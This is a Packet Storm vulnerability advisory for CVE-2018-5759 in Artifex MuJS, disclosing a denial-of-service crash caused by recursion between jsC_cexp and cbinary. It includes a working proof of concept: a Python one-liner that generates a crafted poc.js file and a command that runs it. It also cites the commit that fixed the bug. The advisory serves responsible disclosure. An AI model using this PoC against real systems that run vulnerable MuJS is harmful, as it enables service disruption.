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packetstormAndrea SindoniPACKETSTORM:146119
HistoryJan 27, 2018 - 12:00 a.m.

Artifex MuJS Denial Of Service

2018-01-2700:00:00
Andrea Sindoni
packetstormsecurity.com
29

EPSS

0.003

Percentile

71.2%

`The continuous call between the two functions "jsC_cexp" function and "cbinary"  
allows attackers to cause a denial of service (application crash) via a  
crafted js file  
  
# Exploit Title: DoS caused by the interactive call between two functions  
# Date: 2018-01-16  
# Exploit Author: Andrea Sindoni - @invictus1306  
# Vendor: Artifex (https://www.artifex.com/)  
# Software Link: https://github.com/ccxvii/mujs  
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca  
# Tested on: Linux  
# CVE : CVE-2018-5759  
  
Simple poc:  
# python -c "print 'func%d'*80000" > poc.js  
# mujs poc.js  
  
Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (  
http://git.ghostscript.com/?p=mujs.git;a=commit;h=  
4d45a96e57fbabf00a7378b337d0ddcace6f38c1)  
  
Please let me know if you need more info.  
  
Andrea Sindoni  
`